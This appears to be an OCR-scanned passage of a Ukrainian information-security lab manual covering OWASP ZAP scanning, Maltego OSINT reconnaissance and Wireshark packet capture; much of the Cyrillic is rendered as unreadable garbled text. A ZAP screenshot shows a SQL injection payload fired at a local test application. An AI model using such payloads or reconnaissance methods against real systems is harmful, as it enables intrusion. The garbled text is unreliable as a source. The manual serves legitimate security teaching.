o GET:csrf <input type="submit” name="Submit” value="Submit">
= History S, Search U Alerts # Output % Spider % AJAX Spider ) Active Scan =g HTTP Sessions ==
I —— N TICC T L F 0 O, L T O L W T G e S S § = L FUL & 101 | FUE § L FUL § AUSLE FUE § L FUL T U UL 1 FUE
@e /s ¢ YR 19%27%3D%27 1 &Submit=Subrrit
f SQL Injection (16) Risk: P High
| GET: http://127.0.0.1:42001ulnerabilitie:  Confidence: Medium
| | GET: http://127.0.0.1:42001ulnerabilities  Parameter: id
GET: http://127.0.0.1:42001Aulnerabilitie: | Attack: 1'or '1'="1' AND '1'="1
GET: http://127.0.0.1:42001ulnerabilitie: | Evidence:
GET: http://127.0.0.1:42001Aulnerabilitie: | CWE ID: 89
POST: http://127.0.0.1:42001/\vulnerabilith | WASC ID: 19
POST: http://127.0.0.1:42001/ulnerabilith | Source: Active (40018 - SQL Injection)

POST:
POST:
POST:
POST:
POST:
POST:
POST:

http://127.0.0.1:4200 1/ Auinerabiliti
http://127.0.0.1:4200 1 /mulnerabilith
http://127.0.0.1:4200 1 uinerabiliti
http://127.0.0.1:4200 1 /mulnerabilith
http://127.0.0.1:4200 1 uinerabiliti
http://127.0.0.1:4200 1 /mulnerabilith
http://127.0.0.1:4200 1 uinerabiliti
| POST: http://127.0.0.1:42001Auinerabilith
| POST: http:#/127.0.0.1:4200 1 Auinerabiliti

Input Vector: URL Query String
Description:
SOL injection may be possible

Other Info:

The page results were successfully manipulated using the boolean conditions [1' or '1'="1" AND '1'="'1] and
[1'or'l'="1' AND '1'='2]

Data was returned for the original parameter.

m SQL Injection - MySQL (4)

Solution:
® 5QL Injection - SQLite (4) eution

Do not trust client side input, even if there is client side validation in place.

Alerts m3 @9 9 m8 Main Proxy: localhost:8080 Current Scans @0 0 ®0 31 @0 A0 %0 #&0

Pucynox 4.17 — [Toapo6uili po 3HaiiieHy Bpa3inuBICTh

Bapro mam’staTtH, 1m0 >KOAHUN aBTOMAaTUYHHM CKaHEP BPA3IMBOCTEH y BeO-
nonarkax He 3Moxke BusBUTH 100% BpaznuBocTeit. OKpiM TOTO, JIJIsl TAKUX CKaHEPIB
XapaKkTepHa HasBHICTh IICBHOrO BifCOTKAa XMOHMX crpamtoBanb (“false positives”).
Tomy, 3a3BUYail, CKaHEpU BUKOPUCTOBYIOTHCS B TaHAEMI MK COOOIO Ta 3 PY4YHOIO
MEPEBIPKOIO0 3HANIEHUX BPaA3JIMBOCTEN Ta JoAaTKa 3arajioM. Takoxk sIKICTb POOOTH
MOAYJBHUX CKAaHEPIB 3aJEXKUTh BiJl 0araTbox (pakTopiB, HAMBU3HAUHIIIUM 3 SKUX €
HAsSBHICTh Ta HANAIITYBAaHHS MOJYJIS, 32 JOIIOMOT'OIO SIKOT'O B110YBA€THCS CKaHYBaHHS
(MeHemKep MoTyJIiB 3rajianuil Ha Pucynky 4.8).
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3aBiaHHA:

— BUKOHATH CKaHYBAaHHs OJIHOTO 3 BpPAa3JIMBUX BeO-I0AATKIB 3a JOMOMOTOIO
ckanepa OWASP ZAP;

— TpoaHalli3yBaTH  pe3yJbTaTH  CKaHyBaHHs, TIOPIBHATH  pe3yJbTaTH
aBTCHTU(IKOBAHOTO Ta HEABTEHTU(IKOBAHOTO CKaHYBaHHSI;

— HaJaTHU y 3BITI JaHl PO HaW3HAYHIII BPa3JIUBOCTI, O MOTPAMMIA y 3BIT
CKaHepa,

— BU3HAYMATH, SKI 3 HHX 3HAaXOUATbCS B  aKTyaJbHOMY  CITHUCKY
HalnonynspHimmx Bpaznusocreit “OWASP Top 107;

— BKa3aTW, SKi 1e KOPUCHI JaHl Ha/laB CKaHEp 1 Y SKUX PO3AiIax;

— IPOBECTH CKaHyBaHHs BeO-f0/aTka CKaHepoM BpasnuBocTted Nessus Tta
MOPIBHSTH PE3yJIbTaTH.
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JlabopaTtopna po6oTa Ne 5

Tema: Ilomyk BpaznuBocTel Ta yyTIMBOI 1HGOPMAILIIi Y BIIKPUTUX JKEpeIax
3a goromororo 3acody Maltego.

Meta: OTpuMaTH NpPaKTUYHI HABUYKH TOIIYKY BPA3JIMBOCTEH Ta YyTIUBOI
iHdopMallii y BIIKpUTHX JKepesax 3a JomomMororo 3acooy Maltego.

Teopernuni Bitomocri

Y nabopatophiii po6oTi Ne 4 posrisgaBcs 3acid, MO J03BOJSIB OTPUMATH
B1JIOMOCTI PO MOXJIMBI BPAa3IMBOCTI BeO-pecypcy/aonatky. OmHaK, 4aCcTO MPUIHHOIO
YCHINIHOI aTaKK CTae MeBHa 1HPopMalis, 10 Oyja IKUMOCh YAHOM 3allMIIeHa Cepel
JOKYMEHTIB  BeO-pecypcy (3a3Bu4aii, dYepe3 He00auHICTh PO3POOHUKIB  abo
aZMIHICTpaTOpiB pecypcy). [HOoI1 k cremianicTy 3 iHdopMarliitHoi 0e3mekn HeoOX1AHO
BUBYMTH T€, sika 1H(pOpMaIlisl JOCTyHa MyOai4yHO, BUSBUTH YyTJIUBY 1HGOPMAIIIIO 1
3akpuTH 1i. Jlo TOro ’x, BUKOPHCTaHHS Takux 3aco0iB, sk Maltego, mae 3mory
3pO3yMITH, Y1 3MOKE€ 3IOBMUCHUK BU3HAUYUTHU UYTIUBI BY3JU 1HOPACTPYKTYPH (SIKIIO
CepBEpPHU pecypcy 3HAXOIATHCS y BIACHOCTI KOMIAaHIi 4M opraHizallii) 1 TakuM YHHOM
BHUBYATH MOKJIMBOCTI aTaKU Ha HUX, 1110 PAHO YH Mi3HO MPU3BEJIE 10 IEBHUX HACIIIKIB.

Maltego — e yHiBepcasibHUU 3aci0, SKMHA HE JUIIe J03BOJsIE 30UpaTh
1H(pOopMaIio PO NEBHY CUCTEMY, & i aBTOMAaTUYHO CUCTEMATHU3YE 10 1H(POpMALIIIO Y
BUTIISAL 3py4yHOro rpada. binem Toro, iHcTpymentamu Maltego cinyryrote Tak 3BaHi
«TpaHchopmMu», 10 B CYyTI CBOill — XMapHi cepBicH, K1 H B3aEMOJIIOTH 3 CUCTEMOIO,
IO JIOCHIJKYEThCS. 3aBASKH TaKOMy IMiaxoxdy, 3a gomomoror Maltego moxiuso
MPOBOAUTH JAOCIIPKEHHS AEKUIBKOX BY3J11B OJJHOYACHO.

Jlist BCTaHOBJIEHHSI MPOTpPaMy B TepMiHaM Tpeda BUKOHATH 3 r0Ot-TipaBaMu
KOMaHIy “apt install maltego”. Jlam, mis 3amycky Maltego (Pucynok 5.1)
nepeiaite y mero gonarkiB Kali Linux y mynkr “Information Gathering” ta 3amycriTh
nomatok “maltego”.
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Investigate  View  Entiies  Collections  Transforms  Machines

=

(& Normal % | quick Find in
Delete o Find  Files

Clear Graph | Number of Results |  Privacy Mode

cut

@ MALTEGO
¥y O in

Software and Service Advisories

Webinars and Demos

Transform Updates

Opensanctions Transforms

nctior

Be the first to try out our on-demand
courses!

GET EARLY ACCESS

or linked t
altego CE ple

Collaboration

3

Entity
Selection

Maltego Community Edition 4.3.1

Import | Export  Windows

Select All Add parents Select Children

Select None Select Nel

Invert Selecti Select Parents (7 Select Leay

Maltego Transform Hub
Maltego Community Edition - Not lice:

FILTER  [RESET] Q Display:

Access Options
[mpus
Bring Your Own Key
Click-and-Run Limited

Data Categories
[mpus
Breaches & Leaks
Company Data
Click-and-Run Unlimited Cryptocurrency
Deep and Dark Web
Endpoint & Security Events
Infrastructure & Network Information

Data Subscription
Free (with API key)

Malware

TRANSFORM HUB PARTNERS  80/80 shown

CasefFile Entities

Useful entities for modeling
investigations,

Standard Transform...
by Maltega Technologies

Free Standard OSINT Transforms

Abuse.ch URLhaus
by Maltego Technologies

Identify malicious URLs and explore
underlying malware activity

AbuselPDB
by Maltego Technologies

Find and report abusive IP addresses.

Select Bookmarked

| INOT INSTALLED] | DINSTALLED]

Reverse Links

[REFRESH]

Hub iter

[UPDATE]

Sort by:

Plans

g

Maltego Community

Others
Personal Identifiers
Phishing

Recon

Maltego Enterprise
Maltege Pro

Social Media

TTPs

Vulnerabilities

Web & Image Content

Maltego Regex Tran...

RegEX 1y Maltego Technolagies
o
Extract matching objects from web
pages using "Regular Expressions”

Alienvault OTX
by Maltego Technologies

Transforms for the world's first truly
open threat intelligence community.

Pucynok 5.16 — I'onmosre BikaHo Maltego

om to Fit

total | 1 Hub item:

| [INEWEST] | [MAME]

Pricing
[mpe

Bring your own

Opensanctions
by Maltege Technologics

Identify sanctions targets. politicians
and persons of interest

Data Subscription

alphaMountain
by alphaMountain.ai

HostIP/URL risk and categorization

Data Subscription

[lpu mepmoMy 3amycky 3’SIBUThCSI BIKHO oOpaHHS npoaykty (Pucynok 5.2),
o0epiTh Bepcito “Maltego CE”.
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Product Selection

Product Selection

Please choose how you want to use Maltego: Compare Products Activate without Internet

Ma|tEQCI One Maltego One is the new unified solution to access and activate Maltego plans for

with ke Professionals and Enterprises.

l'_a, Purchase

Maltego XL Maltego eXtra Large is Paterva's premium solution to visualise large data sets and

Activate with key allows for more than 10 000 entities in a single graph.
Activate with ke

@ Purchase

Maltego Classic Maltego Classic is a commercial version of Maltego which allows users to visualize

rme e up to 10 000 entities in a graph.

@ Purchase

Maltego CE (Free) In Maltego CE (Community Edition) the community transforms will be installed and
can be run to generate graphs, but the features are limited and the resulting
RUR graphs may not be used for commercial purposes.

Maltego CaseFile (Free) In Maltego CaseFile graphs can only be created manually, no transforms may be
run. More types of entities will be installed and the resulting graphs may be used
for commercial purposes.

(€9
€9
(<9
)
(9

Pucynok 5.2 — BikHo o6panns Bepcii Maltego
Jlnist Toro, 11100 KopuctyBaTHcs cepBicamu Maltego, HeoOXiqHO YBIHTH 0 CBOTO

00JIIKOBOTO 3aMucy. SIKIIO y Bac HOro HEMa€ — CTBOPITh, NEPEHUIIIOBIIH 32 TOCUIIAHHAM
(TomiveHo YepBOHUM MapkepoM Ha PucyHok 5.3).
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STEPS

License Agreement
Logi
2t Enter your details below to log in to the Maltego Community Server

Login Result Or if you have not done so wet, _reaister here

Login
Help Improve Maltege + Email Address

Web Browser Options

Password

Privacy Mode Options J N
Ready U“

* Solve captcha

g | woes | ot |

Pucynox 5.3 — Bxig 10 00:11k0BOTO 3amucy abo HOro peecTpartis

[Ticns aBTeHTU(DIKaIT BU nepengere Ha TOJIOBHE BIKHO
3actocyHKy S5.(Pucynok 5.1). Jlng mowarky poOOTH CTBOpITH HOBUK  rpad,
HAaTUCHYBIIM BIANOBIIHY KHOMKY y JIEBOMY BepXHbOMY KyTi (PucyHok 5.4, BUIIJIEHO
KOBTHUM MapKepoM).

eq‘u-iﬂ"ﬁlﬂﬁ o &
bl Investigate View Entities Call
E

Clear Graph | Nymber of Resu

Cut I
New Copy Paste I | I

Delete 12 50 256 1

Pucynok 5.4 — Knonka cTBopeHHsI HOBOTO rpady (BUALUIEHO >KOBTUM MAapKEPOM)

[Mepeiinite B po3ain “Machines” (PucyHok 5.5, mo3nauka 1) Ta HaTHCHITH “Run
Machine” (Pucynok 5.5, no3nauka 2). Y HoBoMmy BikHi (PucyHok 5.5) BHOEpiTh
NOTPIOHUI TUI MAalllMHU, BBEAITh HEOOX1/IHI JaHi JIs 3aMyCKy MAIlMHH 1 HATHUCHITH
“Finish”.

65



BEe+mEREBES » @&

Entities

Maltego Community Edition 4.3.1

Collections Transforms Collaboration Import | Export Windows

& Machines Window

Run
Machine

= Cryptocurrency

Stop all New Manage
Machines Machine Machines

Mew Graph (1) X

Start a Machine

b

O Company Stalker

() Find wikipedia Edits

() Footprint L1
Ritrain Rlark Hainht

() Footprint L2

o Please select a machine to run.

».4| Hub Transform In...
[ 5ok | | concel |

Pucynok 5.5 — O6epiTh i MamuHu, Hanpukian: Footprint L1 — Gyne BukoHaHO
MONTYK JOMEHIB, 110 TOB'A3aH1 3 BAIIOIO LIJITIO
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Start a Machine

STEPS

1. Choose machine

2. Specify target
The Footprint L1 machine requires the following inputs:

Domain Name | |

Pucynok 5.6 — Beezite HeoOXiaHi naHi 11 3amycka mammau (Footprint L1 Bumarae
Ha3By BeO-pecypcy — I1ii)

B 3anexxHocTi BiJ TUIY OOpaHOi MaIllMHU JI0 BAIIOro 00’ €KTa JOCI1IKEHHS Oyie
3aCTOCOBaHO NEBHUI TpaHC(HOpPM 1 BUBeNIeHO NieBHUM rpad (PucyHok 5.7 — 3amyiieHo
marmmHy Footprint L1). Hatuckarouu Ha By31u rpad)a, MOKIHBO OTPUMATH JI0IaTKOBY
iH(doOpMaIlito PO KOHKPETHUM BY30J. Tako, BUAUIMBIINKM BY30J, 10 HHOTO MOXHA
OKPEMO 3aCTOCYBaTH NIEBHUM TpaHchopm, oOpaTH KUl MOXKHA Ha JTiBiM maHem — “Run
View” (PucyHok 5.7, mo3HaueHO 4YepBOHMM MapkepoM). SIKIIO * € HeOoOXiTHICTh
CTBOPMTH HOBHH BYy30J — HOTO THIT MOXIJIMBO oOpaTth Ha JiBii maneni — “Entity
Palette” (PucyHok 5.7, mo3HaueHO YEPBOHUM MapKepOM).
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o Footprint L1

»
»
»
»
>
>

PR RPNV

v v v v v

Pucynok 5.7 — I'onoBre BikHo Maltego ta rpad, moOyaoBaHwmii B iporieci poooTH
marman Footprint L1

3aBaaHHsA:

— MPOBECTU JOCHTIKEHHS JOBIILHO OOpPaHOTO 00’€KTY 3 BUKOPUCTAHHSIM HE
MEHIIIe 3X MallliH;

— TepepaxyBaTH Ta omnucatd (pa3u BUKOHAHHS KOKHOI 3 BUKOPHCTOBYBAHMX
MallIiH;

— 3acTocyBaTu TpuHaMHI 3 TpaHchopmMu A0 HE MEHII HIDK 3-X BY3IIB,
oOIpyHTYBaTH BUOIp BY3IiB Ta TpaHcHOpMiB (BioOpa3uTH y 3BiTi);

— TpOaHai3yBaTH OTPUMaHM Tpad, BIAMITUTH Yy 3BITI TOYKH IHTEPECY,
oOrpyHTyBaTu BHOIp;

— BU3HAYMTH HAsIBHICTh UyTTEBOI IHPOpMaIlli (B1100pa3UTH y 3BITI MOKIMBOCTI
iX BUKOPUCTAHHS 3TOBMACHUKAMHU ).
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Jla6opaTopna podora Ne 6
Tema: Cuidepu

Mera: Otpumaru HaBUYKM 300py TEXHIYHOI Ta YyTIUBOiI 1H(opmarii 3a
nonomMororo [13 kiacy «chidepu».

Teopernuni Bitomocri

Cepen mporpamMHOTO 3a0€3IMeUYeHHs, IO J03BOJISIE 30MpaTH Ta aHai3yBaTH
iHbpopMarito 3 cuUCTeM Ta y cHcTeMmaX, € Benukud kimac [I3, 1o
HA3MBAETHCA «CHIpepn», BiA  aHriidicekoro  “sniff” — Hroxatn, BHHIOXYBaTH.
CHidepu — e nyxe mmpokuid kinac [13, BOHH MOXyTb OyTH MEPEKEBUMHU, MOXKYTh
BcTaHoBIoBaTuCcss Ha USB-intepdeiicu, ogHuUM 13 pI3HOBUIIB CHi(EepiB MOKHA
BBa)KATH KEWJIOrepH, CHiepr MOXYTh NMEPEXOIUTIOBATU MEPEPUBAHHS 3 TPUCTPOIB 1
Oarato iumoro. ['oloBHOI 0COOJMBICTIO Oynb SKOro cHidepa € 3JaTHICTh J0
MMacUBHOTO 300py 1HGOpMAaITii.

B nmaniit maGoparopsiii po6oti Oyae pO3TISTHYTO OAMH 13 HAWMOTY>KHIMIUX
mepexeBux cHiepi — Wireshark (Pucynox 6.1).

The Wireshark Network Analyzer

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOMA® c BE@ 2 « »n «>HE oo

Welcome to Wireshark

...using this filter: |l |Ent apture filter - | Allinterfaces shown -

eth0
any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump
@ DisplayPort AUX channel monitor capture: dpauxmon
® Random packet generator: randpkt
® systemd Journal Export: sdjournal
@ SSH remote capture: sshdump
@ UDP Listener remote capture: udpdump
@ Wi-Fi remote capture: wifidump

User's Guide - Wiki - Questions and Answers - Mailing Lists - SharkFest - Wireshark Discord -
You are running Wireshark 4.0.3 (Git v4.0.3 packaged as 4.0.3-1).

E Readyto load or capture MNo Packets Profile: Default

Pucynok 6.17 — I'onoue BikHO cHidepy Wireshark

Jlnst modaTtKy BUKOPHUCTaHHSI CHidepy o0epiTh iHTepdeic, Ha skoMy Oyne
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npamroBaTH cHidep, Ta 3po0iTh MOABIHHMIA KITiK Ha HEOTO (PHCyHOK 6.2).

The Wireshark Network Analyzer

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODAO R BEBEME @ ¢ > n « >»>»BEE oo ol

Welcome to Wireshark

...using this filter: | A |Ent ture filt ~ | Allinterfaces shown -

ethO
any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump
@® DisplayPort AUX channel monitor capture: dpauxmon
@ Random packet generator: randpkt
@ systemd Journal Export: sdjournal
@ SSH remote capture: sshdump
@ UDP Listener remote capture: udpdump
® Wi-Fi remote capture: wifidump

User's Guide - Wiki - Questions and Answers - Mailing Lists - SharkFest - Wireshark Discord - Donate
You are running Wireshark 4.0.3 (Git v4.0.3 packaged as 4.0.3-1).

E Readyto load or capture Mo Packets Profile: Default

Pucynox 6.18 — 3anyck cHidepy 3 BuOOopom 6akaHoro iHTepdeicy

[Ticns crapty cHidep moyHe BimoOpaXkaTty yBech Tpadik, 0 MPOXOIUTH Yepe3
oOpanuii iHTepdeiic. HaltuacTimme, Taka KUIbKICTh 1H(QOpMaIli — HaAMIpHA, TOMY Y
cHi(epl pO3TOPHYTO AyXKE MOTYKHY CUCTEMY HalaroKeHHs (iIbTPiB.

Yeci pinstpu y Wireshark ainsrecs Ha aBi ocHoBHI rpymu. [lepiia — e GinbTpu
3axoruieHHs (Capture), BOHM BHU3HAYAIOTh sKi JaHi OyayTh B3sATI 3 Tpadiky Ta
30epexeni. [Ipyra rpyma — Ginetpu Bimoopaxenns (display), BoHn npusHaueHi Jis
TOT0, 1100 3aJTUIIUTH HEOOX1HY 1HQOpMaIlit0 Ha AUCIUICT, BOHU HE BIUIMBAIOTH HA TI
MaKkeTu, 10 3axoIuioe cHidep, a Juine Ha iH(opMarlio, 1o BigoOpakaeThbcs Ha
MoHITOpl. HamamtyBaTtu QpuibTpu MOKHA y BIANOBIIHUX MEHIO, IO BUKIMKAKOTHCA
kHomnkamu (PucyHok 6.3, cMHIM MapKepoM MO3HAY€HO KHOMKY ISl MEHIO (PUIbTpIB
3axBary, a YepBOHUM JJid (PUIBTPIB BIAOOPAKEHHS)
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& Capturing from ethd

File Edit View Go | Capture | Analyze Statistics Telephony Wireless Tools Help

ADAG R BE®@ a «>n<«>EEoeol

[WlAppyadisplayfitter <ceip | oubIPBYIOGPAKEHHA

Source Destination Protocol Length Info
2017 63.487721973 10.0.2.15 142.250.180.227 Keep-Alive] 52992 — 80 [ACK] Seq=418 Ack=702 Win=63791 Len=0
2018 63.488644505 142.250.180.227 10.0.2.15 TCP Keep-Alive ACK] 80 — 52992 [ACK] Seq=702 Ack=419 Win=65535 Len=0
2019 73.728766920 10.0.2.15 142.250.180.227 TCP 54 Keep-Alive] 52992 - 80 [ACK] Seq=418 Ack=782 Win=63791 Len=0
2020 73.729789350 142.250.180.227 10.0.2.15 TCP 60 Keep-Alive ACK] 80 — 52992 [ACK] Seq=702 Ack=419 Win=65535 Len=8
2021 83.970926738 10.0.2.15 142.250.180.227 TCP 54 Keep-Alive] 52992 . 88 [ACK] Seq=418 Ack=782 Win=63791 Len=0
2022 83.971787348 142.250.180.227 10.0.2.15 TCP 60 Keep-Alive ACK] 80 — 52992 [ACK] Seq=702 Ack=419 Win=65535 Len=0
2023 94.208421029 10.0.2.15 142.250.180.227 TCP 54 Keep-Alive] 52992 . 8@ [ACK] Seq=418 Ack=702 Win=63791 Len=0
2024 94.209261910 142.250.180.227 10.0.2.15 TCP 60 Keep-Alive ACK] 80 — 52992 [ACK] Seq=702 Ack=419 Win=65535 Len=@
2025 104.448680435 10.0.2.15 142.250.180.227 TCP 54 Keep-Alive] 52992 - 80 [ACK] Seq=418 Ack=782 Win=63791 Len=0
2026 104.449576360 142.250.180.227 10.0.2.15 TCcP 60 Keep-Alive ACK] 80 — 52992 [ACK] Seq=762 Ack=419 Win=65535 Len=0 CMWCOK MAKETIB
2027 109.568661035 PcsCompu_eb:3e:as8 Realteku_12:35:02 ARP 42 who has 10.0.2.2? Tell 10.0.2.15
2028 109.569725910 RealtekU_12:35:02 PcsCompu_eb:3e:a8 ARP 60 10.0.2.2 is at 52:54:00:12:35:02
2029 114.688417869 10.0.2.15 142.250.180.227 TCP 54 [TCP Keep-Alive] 52992 - 80 [ACK] Seq=418 Ack=702 Win=63791 Len=0
2030 114.688823992 142.250.180.227 10.0.2.15 TCP 60 [TCP Keep-Alive ACK] 80 - 52992 [ACK] Seq=702 Ack=419 Win=65535 Len=8
2031 124.928528519 10.0.2.15 142.250.180.227 TCP 54 [TCP Keep-Alive] 52992 . 80 [ACK] Seq=418 Ack=782 Win=63791 Len=0
2032 124.929326048 142.250.180.227 10.0.2.15 TCP 60 [TCP Keep-Alive ACK] 88 - 52992 [ACK] Seq=702 Ack=419 Win=65535 Len=8
2033 128.522056568 10.0.2.15 142.250.180.227 TCP 54 52992 — 80 [FIN, ACK] Seq=419 Ack=702 Win=63791 Len=0
2034 128.522910354 142.250.180.227 10.0.2.15 TCP 60 80 — 52992 [ACK] Seq=702 Ack=420 Win=65535 Len=@
2035 128.550082456 142.250.180.227 10.0.2.15 TCP 60 80 — 52992 [FIN, ACK] Seq=702 Ack=420 Win=65535 Len=0
2036 128.550119355 10.0.2.15 142.250.180.227 TCP 54 52992 — 80 [ACK] Seq=420 Ac 3 Win=63791 Len=0

BETANI NMAKETY

® E  ethO: <live capture in progress> Packets: 2036 - Displayed: 2036 (100.0%)

Pucynok 6.19 — 3axomnenHs Tpadiky, ONUC €IEMEHTIB iHTepdeicy

Jlnst HanmaromkeHHsl (iIbTPIB BUKOPUCTOBYIOTHCS BHUPA3HU, IO MOXYTh OyTH
JIOCUTh CKIQAHUMH. AJje, sl TPUKIATy, MOKHAa HaBECTH HACTYIHUW BHpa3:
(tcp.port == 80) or (udp.port == 80).

[le#t mpukiam MOXKHA 3aCTOCYBAaTH SIK A0 GIIBTPY BIAOOpaKeHHs, Tak 1 10
GTBTpY 3aXOIJICHHS — BIH O3Hayae, 1o cHidep Oyne irHOpyBaTH yCi MakeTH OKpiM
THX, 110 HAJICHIIAFOThCS a00 3a mpoTokonioM TCP, abo 3a mpoTtokosom UDP Ha/3 mopty
80. Tak, BUKOPUCTOBYIOUYH BIANOBIAHI PLIBTPU MOKHA 30CEPEAUTHUCH JIUIIIE HA TIEBHIN
iHpopMmarlii, sKy odikye oTpumartu crnemiaiict 3 Ib. 3pyunoro ocoomusictio Wireshark
€ Te, MO0 OyIb-sIKWUW 3alaHui MapaMeTp MakeTa MOXHa MEPETBOPUTU HA 3amUT IS
binbpTpa, 5K 300paxeHo Ha Pucynky 6.4.
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ADA® R il Mm@ o ¢ > n .« > =

Expand All Protocol Length
. 460695440 80 — 58562 [SYN, ACK] Seq
2942 11.460738715 Collapse All 58562 — 80 [ACK] Seg=1 Ac
2946 11.465232392 ; 472 Reguest
RrSLr)  (pplyasColumn EEEITE 80 — 58562 [ACK] Seq=1 Ac
.527308816 Apply as Filter Response

.527340122 2
678115162 Prepare as Filter

677883841 Conversation Filter Selected
4478 13.738540039 . 5 -
4479 13.738585108 Colorize with Filter Not Selected

4732 14.719621664 Follow
4735 14.720163113
4754 14.779671515 Copy
4755 14.779704614

15.189546436
15.189202682
15.247393896
15.247437891
25.345811842

.346278397

Show Packet Bytes...
Export Packet Bytes...

Wiki Protocol Page

Filter Field Reference

Protocol Preferences

Decode As.

Complete,

WITH_DATA

Ctrl+Shift+0
Ctrl+Shift+X

Ctrl+Shift+U

on interfac

Response

54 58562 — 80 [ACK] Seq=1675
[TCP Keep-Alive] 58562 -
[TCP Keep-Alive ACK] 80 —

Pucynok 6.4 — BukopucTaHHs TOTOBOTO 3HAYEHHSI B SIKOCTI (DUTBTpa

Yepe3 mnepeMilllyBaHHSI TAKETIB, SKI BIAHOCATHCA N0 PI3HUX 3’€JIHaHb, Ta
MEpEeKEBUX IMAKETIB pO30MBATHCS HA YaCTUHU OyBae BaXKO
MpoaHaTi3yBaTH 3B’5130K MEBHUM 3’ eHaHHAM. st riboro y Wireshark € MoxxiuBicTh
300paxkeHo Ha Pucynky 6.5.1

BJIACTUBOCTI

«IPOCHIIKYBaTH

Pucynky 6.5.

File Edit View Go Capture Analyze

Frame

3053 11.
3054 11.
4466 13.
4467 13.
4478 13.
4479 13.
4732 14.
4735 14.
4754 14.
4755 14.
5020 15.
5021 15.
5035 15.
5036 15.
5339 25.
5341 25.
5375 35.
9377 35.
5417 45.
5419 45.

2.

527308816
527340122
678115162
677883841
738540039
738585108
719621664
720163113
779671515
779704614
189546436
1892082682
247393896
247437891
345811842
346278397
584615604
585099872
823482031
823903958

32 CHUIKYBAaHHSM,

Source
142.251.39.
10.8.2.15
10.8.2.15
142.251.39.
142.251.39.
10.8.2.15
10.0.2.15
142.251.39.
142.251.39.
10.8.2.15
10.8.2.15
142.251.39.
142.251.39.
10.8.2.15
10.8.2.15
142.251.39.
10.8.2.15
142.251.39.
10.8.2.15
142.251.39.

® E wireshark_eth01MSDO1.pcapng

Pucynox 6.5.1 — O6panss omiii BiToOpakeHHsI CIIUIKYBaHHS B paMKax OJTHOTO

35
35

35
35

35
35

10.0.2.15
142.251.39
142.251.39
10.0.2.15
10.0.2.15
142.251.39
142.251.39
10.0.2.15
10.0.2.15
142.251.39
142.251.39
10.0.2.15
10.0.2.15
142.251.39
142.251.39

.35
.35

.35
.35

.35
.35

.35

142.251.39.

10.0.2.15

142.251.39.

10.0.2.15

Statistics Telephony Wireless Tools Help

BEB@ a«c>n<«>BE

AK

Protocol

TCP
ocsP
TCP
0CsP
TCP
0oCsP
TCP
ocsp
TCP
ocseP
TCP
ocseP
TCP

Tro

Mark/Unmark Packet
Ignore/Unignore Packet

Set/Unset Time Reference

Time Shift...

Length Info

755 Response
54 58562 — 80
473 Request

60 80 - 58562
756 Response
54 58562 - 80
472 Request

60 80 . 58562
755 Response
54 58562 — 80
473 Request

60 80 - 58562
756 Response
54 58562 — 80

Packet Comments

Edit Resolved Name

Apply as Filter

Prepare as Filter

Conversation Filter

Colorize Conversation

SCTP
Follow

Copy

Protocol Preferences

Decode A:

Show Packet in New Window

MOTOKY

72

[ACK]

[ACK]
[ACK]
[ACK]
[ACK]
[ACK]

[ACK]

54 [TCP Keep-Alive]
RASFTrDirsan—AlSustank] 80 - 58562 [ACK] Seq=2807 Ack=1675 Win=65
Ctrl+M

Ctrl+D
Ctrl+T
Ctrl+Shift+T

Seq=419 Ack=702 Win=63791 Len=0
Seq=702 Ack=838 Win=65535 Len=0
Seq=838 Ack=1404 Win=63791 Len=0
Seq=1404 Ack=1256 Win=65535 Len=0
Seq=1256 Ack=2105 Win=63791 Len=0
Seq=2105 Ack=1675 Win=65535 Len=0

Seq=1675 Ack=2807 Win=63791 Len=0
58562 - 8@ [ACK] Seq=1674 Ack=2807 Win=63791

}8562 . 80 [ACK] Seq=1674 Ack=2867 Win=63791
K] 80 — 58562 [ACK] Seq=2887 Ack=1675 Win=65'
f8562 . 80 [ACK] Seq=1674 Ack=2867 Win=63791
K] 80 — 58562 [ACK] Seq=2867 Ack=1675 Win=65'

TCP Stream Ctri+Alt+Shift+T



Wiresharlk - Follow TCP Stream (tcp.stream eq 20) - ethQ

POST /gtslc3 HTTP/1.1]
Host: ocsp.pki.goog
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.08) Gecko/20100101 Firefox/102.6

Accept-Language: en-US,en;q=0.5]
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83

Connection: keep-alive

Pragma: no-cache]

Cache-Control: no-cachel

EQE0BMEKOI0 5 as

S. .. HTTP/1.1 208

Content-Type: application/ocsp-response]
Date: Mon, 86 Feb 2823 00:20:11 GM
Cache-Control: public, max-age=14406)
Server: ocsp_responder]

Content-Length: 471

X-XSS-Protection: @

X-Frame-Options: SAMEORIGIN|

..US....Yi.w.POST /gtsic3 HTTP/1.1]

Accept-Language: en-US,en;q=0.5|
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84

Connection: keep-alive

Pragma: no-cache]

Cache-Control: no-cache

[OROPONGLOJO
AT, pkts, SN pkts, 7 turns.

Entire conversation (4,480 bytes) Show dataas ASCII Stream 20 *
Find Next

Find: ||

Filter Out This Stream Print Save as... Back Close Help

Pucynox 6.5.2 — BikHO 3 1eK0/I0BaHUMH TTOB1IOMJICHHIMHA

Hacamkinenp, BelMuYe3Hy KUIBKICTIO MEPEXOIJIEHOTO Tpadiky MOKHA
BUKOPHCTATH 3 KOPUCTIO y BUNaIKy ctaructuku. Wireshark mo3Bosisie mpoaHaitizyBaTH
KUIBKICTh TaKeTiB pi3Horo tuny (PucyHok 6.6), HOBXHHM Ta 3’€JHaHb, MOXE
noOyayBaTu Tpadikd BBOMY/BHBEJCHHS YU KOMYHIKAIll 3arajoM BIJHOCHO dHacy,
BUOKPEMUTHU yCIX YYACHUKIB 3’ €IHAHHS TOIIO.
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Capturing from eth0

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

d D ﬂ @ [~ - m B Q Capture File Properties Ctri+Alt+Shift+C

Protocol Hierarchy

No. Time Source . Info

28020 84.160491215 10.0.2.15 Conversations 46240 — 80 [FIN, ACK] Seq=157 Ack=214 Win=64628 Len=0

28021 84.160633669 16.6.2.15 [EEESNNINS 46256 — 80 [SYN] Seq=0 Win=64240 Len=6 MSS5=1460 SACK_PERM TSval=2630981608 TSecr=6 WS=128
